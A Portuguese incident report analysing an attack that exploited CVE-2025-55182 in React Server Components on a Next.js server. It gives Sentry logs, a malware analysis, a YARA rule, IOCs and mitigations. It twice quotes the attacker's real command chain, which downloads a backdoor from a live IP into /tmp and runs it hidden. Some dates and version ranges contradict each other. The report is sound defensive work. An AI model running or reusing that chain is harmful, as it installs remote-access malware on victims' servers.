Análise do Ataque CVE-2025-55182: RCE em React Server Components
Análise de ataque real em uma aplicação Next.js de produção
📋 Sumário
Resumo Executivo
Em 5 de dezembro de 2025, nossa aplicação Next.js de produção foi alvo de atacantes que exploraram a CVE-2025-55182 (React2Shell), uma vulnerabilidade crítica de Execução Remota de Código nos React Server Components. O ataque tentou baixar e executar um trojan backdoor Linux em nosso servidor.
| Atributo | Valor |
|---|
| ID CVE | CVE-2025-55182 |
| Pontuação CVSS | 9.8 (Crítica) |
| Data do Ataque | 5 de dezembro de 2025 |
| Resultado do Ataque | ✅ Bloqueado (pós-correção) |
| Tipo de Malware | Trojan Backdoor Linux |
| Stack Afetada | Next.js + React Server Components |
Visão Geral da Vulnerabilidade
O que é CVE-2025-55182?
A CVE-2025-55182, também conhecida como "React2Shell", é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta os React Server Components (RSC) em:
- React: versões 19.0.0 - 19.2.1
- Next.js: versões 15.x e 16.x (antes das correções)
Causa Raiz
A vulnerabilidade existe na função renderToReadableStream() dentro do Flight Server do React. Ao processar payloads RSC especialmente criados, o servidor não consegue sanitizar adequadamente determinadas entradas, levando à execução arbitrária de código.
Vetor de Ataque
Atacante → Payload RSC Malicioso → Flight Server → eval() → RCE
O atacante envia uma requisição POST com um payload serializado malicioso que é desserializado e executado no servidor.
Linha do Tempo do Ataque
Fase 1: Tentativas Iniciais de Exploração (Pré-correção)
| Timestamp (UTC) | Evento |
|---|
| Dec 5, 06:20 | Primeiro ataque detectado via Sentry |
| Dec 5, 06:20 | Payload tenta executar comandos shell |
| Dec 5, 06:20 | Ataque parcialmente bem-sucedido (pré-correção) |
Log de Erro do Sentry (Pré-correção):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
Fase 2: Implantação da Correção
| Timestamp | Ação |
|---|
| Dec 4, 14:13 | Atualizado para Next.js 16.0.7 |
| Dec 4, 14:13 | Versão corrigida implantada (v1.0.0-beta-4) |
Fase 3: Ataque Pós-correção Bloqueado
| Timestamp (UTC) | Evento |
|---|
| Dec 5, 08:48 | Tentativa de ataque detectada |
| Dec 5, 08:48 | Execução do payload BLOQUEADA |
| Dec 5, 08:48 | Erro: syntax error: unexpected ";" |
Log de Erro do Sentry (Pós-correção):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
A correção impediu com sucesso a execução do comando malicioso.
Análise Técnica
Detalhes da Requisição de Ataque
| Atributo | Valor |
|---|
| URL Alvo | https://[REDACTED]/ |
Análise do Payload
O atacante tentou executar a seguinte cadeia de comandos:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Detalhamento:
Ambiente do Servidor
| Componente | Versão |
|---|
| Sistema Operacional | Alpine Linux 3.23.0 |
| Runtime | Node.js v20.19.6 |
| Framework | Next.js 16.0.7 (corrigido) |
Análise do Malware
Resultados do VirusTotal
Taxa de Detecção: 13/72 (18%)
Link do VirusTotal: Ver Análise
Análise do Binário
ELF Header:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Capacidades Identificadas:
Strings Extraídas (Relevantes):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
Regras IDS Acionadas
| Severidade | Regra | Fonte |
|---|
| BAIXA | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| BAIXA | ET DNS Query for .cc TLD | Proofpoint ET Open |
Classificação do Malware
Tipo: Trojan Backdoor Linux
Capacidades:
- Acesso remoto a shell
- Comunicação com Command & Control (C2)
- Upload/download de arquivos
- Comunicações criptografadas
- Tunelamento de tráfego via SOCKS5
- Mecanismos de persistência
Indicadores de Comprometimento (IOCs)
IOCs de Rede
IOCs de Arquivo
IOCs Comportamentais
Regra YARA
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
Mitigação e Resposta
Relatório de Abuso
Um relatório de abuso foi enviado à Vultr (provedor de hospedagem do servidor C2) em 5 de dezembro de 2025 contendo:
- Endereço IP e URL maliciosos
- Hash SHA256 do malware
- Link da análise no VirusTotal
- Descrição do vetor de ataque (CVE-2025-55182)
Versões Corrigidas
| Pacote | Vulneráveis | Corrigidas |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (junho de 2025+) |
Mitigações Recomendadas
1. Atualize imediatamente:
2. Bloqueie o IP malicioso:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. Monitore os IOCs:
# Verifique arquivos suspeitos
find /tmp -type f -executable 2>/dev/null
# Verifique processos suspeitos
ps aux | grep -E "(vim|/tmp/)"
# Verifique conexões de rede
netstat -an | grep "45.76.155.14"
4. Rotacione todos os segredos:
- Credenciais do banco de dados
- Segredos JWT
- Chaves de API
- Segredos de sessão
Lições Aprendidas
O Que Funcionou Bem
- O monitoramento com Sentry detectou o ataque imediatamente
- Implantação rápida da correção em poucas horas após a divulgação do CVE
- A conteinerização com Docker limitou o raio de impacto
- A proteção pós-correção bloqueou com sucesso ataques subsequentes
O Que Poderia Ser Melhorado
- Correção mais rápida - Reduzir o tempo entre a divulgação do CVE e a correção
- Regras de WAF - Adicionar regras para detectar tentativas de exploração de RSC
- Filtragem de saída - Bloquear conexões de saída para IPs desconhecidos
- Alertas automatizados - Configurar alertas para comandos shell suspeitos
Recomendações de Segurança
Referências
Avisos Oficiais
Recursos de Análise
Ferramentas Utilizadas
Aviso Legal
Este artigo é publicado apenas para fins educacionais e defensivos. O binário do malware não está incluído neste repositório. Pesquisadores de segurança podem obter a amostra via VirusTotal usando o hash SHA256 fornecido.
Autor
Publicado: 5 de dezembro de 2025
Contato: [Suas informações de contato ou perfil do GitHub]
Licença
Esta análise é disponibilizada sob CC BY 4.0. Você é livre para compartilhar e adaptar este material com a devida atribuição.
Histórico de Alterações
| Data | Versão | Alterações |
|---|
| 2025-12-05 | 1.0 | Publicação inicial |